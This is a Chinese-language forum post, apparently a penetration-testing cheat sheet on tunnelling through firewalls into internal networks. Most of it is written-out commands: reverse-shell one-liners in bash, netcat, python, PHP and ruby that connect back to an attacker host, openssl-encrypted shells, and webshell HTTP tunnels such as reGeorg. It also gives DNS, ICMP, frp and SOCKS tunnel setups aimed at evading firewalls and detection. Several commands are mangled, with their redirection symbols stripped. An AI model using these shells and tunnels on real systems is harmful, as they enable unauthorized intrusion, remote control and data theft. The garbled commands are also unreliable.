標題:內網隧道穿透

taibeihacker

Moderator

内网隧道穿透​

1 场景介绍​

1.1 相关概念​

內網穿透是:利用各種隧道技術,尋找防火牆允許的協議,混雜在正常流量中穿透,繞過網絡防火牆的封鎖,實現訪問被封鎖的目標網絡。
被封裝的數據包在隧道的兩個端點之間通過公共互聯網絡進行路由。被封裝的數據包在公共互聯網絡上傳遞時所經過的邏輯路徑稱為隧道。一旦到達網絡終點,數據將被解包並轉發到最終目的地。注意隧道技術是指包括數據封裝、傳輸和解包在內的全過程。
隧道協議的主要作用包括:规避防火墙加密网络流量
常見的隧道列舉如下:
應用層:SSH、HTTP、HTTPS、DNS。
傳輸層:TCP、UDP、常規端口轉發。
網絡層:IPv6、ICMP、GRE。

1.2 正向代理 反向代理​

正向代理中,proxy 和client 同屬一個LAN,對server 透明;
反向代理中,proxy 和server 同屬一個LAN,對client 透明。 實際上proxy 在兩種代理中做的事都是代為收發請求和響應,不過從結構上來看正好左右互換了下,所以把前者那種代理方式叫做正向代理,後者叫做反向代理。

1.2.1 正向代理​

Lhost - proxy - Rhost
Lhost 為了訪問到Rhost,向proxy 發送了一個請求並且指定目標是Rhost,然後proxy 向Rhost 轉交請求並將獲得的內容返回給Lhost,簡單來說正向代理就是proxy 代替了我們去訪問Rhost。

1.2.2 反向代理​

Lhost ---- proxy ---- firewall ---- Rhost
和正向代理相反,Lhost 只向proxy 發送普通的請求,具體讓它轉到哪裡,proxy 自己判斷,然後將返回的數據遞交回來,這樣的好處就是在某些防火牆只允許proxy 數據進出的時候可以有效的進行穿透

1.3 转发场景​

1.3.1 常见的场景​

安全运维:繞過堡壘機或防火牆實現對內網服務器進行遠程管理
内网渗透:繞過堡壘機或防火牆實現對內網服務器進行攻擊
目標處於網絡邊界,內外網都可以訪問,網絡邊界主機未安裝防火牆,所有端口都對互聯網開放,此類業務場景已經極少出現。
目標處於內網,允許特定的應用層協議出網(比如HTTP、SSH、DNS)等應用層協議(3389、22、445、53、80、443等)。
目標處於內網,不能訪問外網,但是可以訪問邊界主機,防火牆策略限制外部網絡直接訪問內網的敏感端口(3389、22、445 等)。
常見的轉發方式:
反彈端口
反彈shell
socks 代理

1.3.2 防火墙规则​

入網
特定的端口映射80:80
出網
ICMP
允許特定的協議(HTTP、DNS、SSH、RDP)
允許特定端口(先主流端口,再全端口)

1.3.3 连通性检测​

在建立隧道前,首先要檢測目標機器是否能出網、什麼協議可以出網。手動檢測較麻煩,所以就有了這個工具,可配合如wmiexec、psexec 等橫向工具進行批量檢測,該工具可以在dnslog 中回顯內網ip 地址和計算機名,可實現內網中的快速定位可出網機器。
工具:https://github.com/uknowsec/SharpNetCheck
1
2
3
Usage: SharpNetCheck -dns -host ceye.io
SharpNetCheck -http -host/ip ceye.io
SharpNetCheck -all -host ceye.io

2 反弹 shell​

2.1 Bash​

2.1.1 Bash TCP​

1
2
3
4
5
bash -i /dev/tcp/ip/port 01
bash -i /dev/tcp/ip/port 0 21
exec 5/dev/tcp/ip/port;cat 5 | while read line; do $line 25 5; done
exec /bin/sh 0/dev/tcp/ip/port 10 20
0196;exec 196/dev/tcp/ip/port; sh 196 196 2196

2.1.2 Bash UDP​

1
2
3
4
5
Victim:
sh -i /dev/udp/10.0.0.1/4242 01
Listener:
nc -u -lvp 4242

2.2 应用内反弹 shell​

2.2.1 netcat​

1
2
3
4
ncat ip port -e /bin/bash
nc -e /bin/bash ip port
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 21|nc ip port /tmp/f
rm -f x; mknod x p nc ip port0x | /bin/bash 1x

2.2.2 python​

1
2
3
4
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh','-i']);'
# windows only
python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(('dead:beef:2:125c',port,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn('/bin/sh');'
Python 環境下的Tips
轉成交互式shell:python -c 'import pty;pty.spawn('/bin/bash')'
完全交互式shell:
1
2
3
4
5
6
7
$ python -c 'import pty; pty.spawn('/bin/bash')'
Ctrl-Z
$ stty raw -echo
$ fg
$ reset
$ export SHELL=bash
//$ export TERM=xterm-256color

2.2.3 PHP​

1
2
3
4
5
php -r '$sock=fsockopen('ip',port);exec('/bin/sh -i 3 3 23');'
php -r '$s=fsockopen('ip',port);$proc=proc_open('/bin/sh -i', array(0=$s, 1=$s, 2=$s),$pipes);'
php -r '$s=fsockopen('ip',port);shell_exec('/bin/sh -i 3 3 23');'

2.2.4 Ruby​

1
2
3
4
ruby -rsocket -e'f=TCPSocket.open('ip',port).to_i;exec sprintf('/bin/sh -i %d %d 2%d',f,f,f)'
# windows only
ruby -rsocket -e 'c=TCPSocket.new('ip','port');while(cmd=c.gets);IO.popen(cmd,'r'){|io|c.print io.read}end'

2.3 openssl 流量加密​

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# VPS 生成SSL 證書的公私鑰對
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
# 在VPS 監聽反彈shell
openssl s_server -quiet -key key.pem -cert cert.pem -port 4433
# 在目標上用openssl 加密反彈shell 的流量(linux)
mkfifo /tmp/s; /bin/sh -i /tmp/s 21 | openssl s_client -quiet -connect IP:port /tmp/s; rm /tmp/s
# windows
openssl s_client -quiet -connect [ip]:[port1] | cmd.exe | openssl s_client -quiet -connect [ip]:[port2]
# 以上命令會從[ip]:[port1] 獲取命令發送給cmd.exe執行,然後把結果返回到[ip]:[port2]
# 因此在本機需要啟動兩個s_server
# 從port1 發送命令到cmd
openssl s_server -quiet -key key.pem -cert cert.pem -port [port1]
# 從port2 獲取發送給port1 的命令執行結果
openssl s_server -quiet -key key.pem -cert cert.pem -port [port2]

2.4 All in One​

以下是幾個自動生成反彈shell 命令的網站:
一個在線編碼的網站,防止因特殊字符被過濾,也可以用在java.lang.Runtime.exec() 的payload 中:

3 应用层隧道​

3.1 HTTP 隧道​

3.1.1 reGeorg​

建议使用 nosocket 版工具地址:https://github.com/sensepost/reGeorg
使用方法:
上傳tunnel 文件
服務端運行:python reGeorgSocksProxy.py -p 8080 -u http://ip:port/tunnel/tunnel.jsp

3.1.2 Neo-reGorg​

工具地址:https://github.com/L-codes/Neo-reGeorg
Neo-reGeorg是一個重構了reGeorg 的項目,目的是:
提高tunnel 連接安全性
提高可用性,避免特徵檢測
提高傳輸內容保密性
應對更多的網絡環境場景
使用方法:
設置密碼生成tunnel.(aspx|ashx|jsp|jspx|php) 並上傳到WEB服務器:python3 neoreg.py generate -k password
使用neoreg.py 連接WEB 服務器,在本地建立socks5 代理:python3 neoreg.py -k password -u http://xx/tunnel.php
注意
注意,如果你的工具,如nmap 不支持socks5 代理設置,請使用proxychains 等

3.1.3 其它​

Tunna
1
2
3
4
5
6
7
# -u 遠程代理腳本地址
# -l 表示本地監聽的端口
# -r 遠程映射端口
# -v 輸出詳細數據
# -a 代理遠程連接的主機地址
python proxy.py -u http://ip/conn.aspx -l 1080 -v
python proxy.py -u http://ip/conn.aspx -l 5555 -r 8080 -s -v -n
abptts
pystinger

3.2 SSH 隧道​

參考:https://3nd.xyz/AD-Pentest/AD-Pentest-Hidden-Tunnel/

3.2.1 本地端口转发​

在本地主機上開啟端口流量轉發功能
例如:在入侵者主機上執行(VPS 上執行主動連接)
1
ssh -L 8866:192.168.10.3:23 -fN 192.168.10.2
20210108224514.png-water_print

3.2.2 远程端口转发​

在遠程主機上開啟端口流量轉發功能
例如:在堡壘機上執行(邊界主機上執行回連)
1
ssh -R 8866:192.168.10.3:23 -fN 192.168.10.1
20210108225357.png-water_print

3.2.3 动态转发 - Socket​

在本地主機上開啟流量動態轉發功能,並配置代理
例如:在入侵者主機上執行
1
ssh -D 1100 -fN 192.168.10.2
20210108225846.png-water_print

3.3 DNS 隧道​

工具DNScat2
編譯好的各種版本:https://downloads.skullsecurity.org/dnscat2/

3.3.1 配置解析记录​

DNS 解析記錄中添加一條A 記錄,名稱為ns1 值為VPS IP 地址
再添加一條NS 記錄,名稱為任意一個子域名,指向地址為ns1.yourdomain.com

3.3.2 安装 dnscat2 服务端​

1
2
3
4
5
6
7
apt-get install gem
apt-get install ruby-dev
apt-get install libpq-dev
apt-get install ruby-bundler
apt-get install git
git clone https://github.com/iagox86/dnscat2
bundle install

3.3.3 启动服务端​

1
ruby ./dnscat2.rb dnscat.yuming.com -e open -c mima --no-cache

3.3.4 启动客户端​

1
2
3
4
5
# 測試能否通信
dnscat-client.exe -ping dnscat.yuming.com
# 連接
dnscat-client.exe --dns domain=dnscat.yuming.com -secret mima

4 传输层​

SOCKS4 支持telnet、FTP、HTTP 等TCP 協議
SOCKS5 支持TCP 與UDP,並支持安全認證方案

4.1 FRP​

frp 採用Golang 編寫,支持跨平台,僅需下載對應平台的二進製文件即可執行。工具地址:https://github.com/fatedier/frp
編寫配置文件,先通過./frps -c ./frps.ini 啟動服務端,再通過./frpc -c ./frpc.ini 啟動客戶端。
服務端部署在我們具有公網IP 的服務器上,客戶端放在我們拿到權限的跳板服務器上,雙端都需要對配置文件進行配置。

4.1.1 服务端​

1
2
3
4
5
6
7
8
9
10
[common]
# frp 服務端端口
bind_port=7000
# 儀錶盤端口
dashboard_port=8888
# frp服務端密碼
token=123456
# 儀錶盤默認賬號密碼
dashboard_user=admin
dashboard_pwd=admin
啟動FRP:frps -c frps.ini

4.1.2 客户端​

1
2
3
4
5
6
7
8
9
10
11
12
[common]
server_addr=VPS IP
server_port=7000
# 與vps 保持一致
token=123456
[ssh]
type=tcp
local_ip=127.0.0.1
local_port=22
remote_port=7000
use_encryption=true
use_compression=true

4.2 iox​

iox 是一個端口轉發內網代理工具,功能類似於lcx/ew,但是比它們更好。
工具地址:https://github.com/EddieIvan01/iox

4.2.1 端口转发​

1
2
3
4
5
6
7
8
# 端口轉發- 從本地8888 轉到9999
./iox fwd -l 8888 -l 9999
# 端口轉發- 從本地8888,把流量轉發到1.1.1.1:9999
./iox fwd -l 8888 -r 1.1.1.1:9999
# 連接1.1.1.1:8888 和1.1.1.1:9999, 在兩個連接間轉發
./iox fwd -r 1.1.1.1:8888 -r 1.1.1.1:9999

4.2.2 代理​

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 在本地0.0.0.0:1080 啟動Socks5 服務- 正向代理
./iox proxy -l 1080
# 反向代理
# 在被控機開啟Socks5 服務,將服務轉發到公網VPS
./iox proxy -r 1.1.1.1:9999
# 在VPS 上轉發0.0.0.0:9999 到0.0.0.0:1080
# 你必須將兩條命令成對使用,因為它內部包含了一個簡單的協議來控制回連
./iox proxy -l 9999 -l 1080 //注意,這兩個端口是有順序的
# 接著連接內網主機
# socks5://1.1.1.1:1080
proxychains rdesktop 192.168.0.100:3389

4.3 sSocks​

sSocks 是一個socks 代理工具套裝,可用來開啟socks 代理服務,支持socks5 驗證,支持IPV6 和UDP,並提供反向socks 代理服務,即將遠程計算機作為socks 代理服務端,反彈回本地,極大方便內網的滲透測試。
工具地址:http://sourceforge.net/projects/ssocks/
正向代理
1
./ssocksd --bind 192.168.172.131 --port 1080
反向代理
1
2
3
4
5
# 攻擊者機器監聽6020 端口轉發到6010
./rcsocks -l 6020 -p 6010 -vv
# 受害者反向連接代理主機6010 端口
./rssocks -s 攻擊者IP:6010 -vv

5 网络层​

5.1 ICMP Tunnel​

工具名稱:ICMPSH

5.1.1 服务端​

服務端首先需要關閉ICMP 回顯:sysctl -w net.ipv4.icmp_echo_ignore_all=1
安裝服務端:
1
2
apt-get install python-impacket
python icmpsh_m.py 本機IP 目標機器公網IP

5.1.2 客户端​

1
icmpsh.exe -t 目標IP -d 500 -b 30 -s 128
 
返回
上方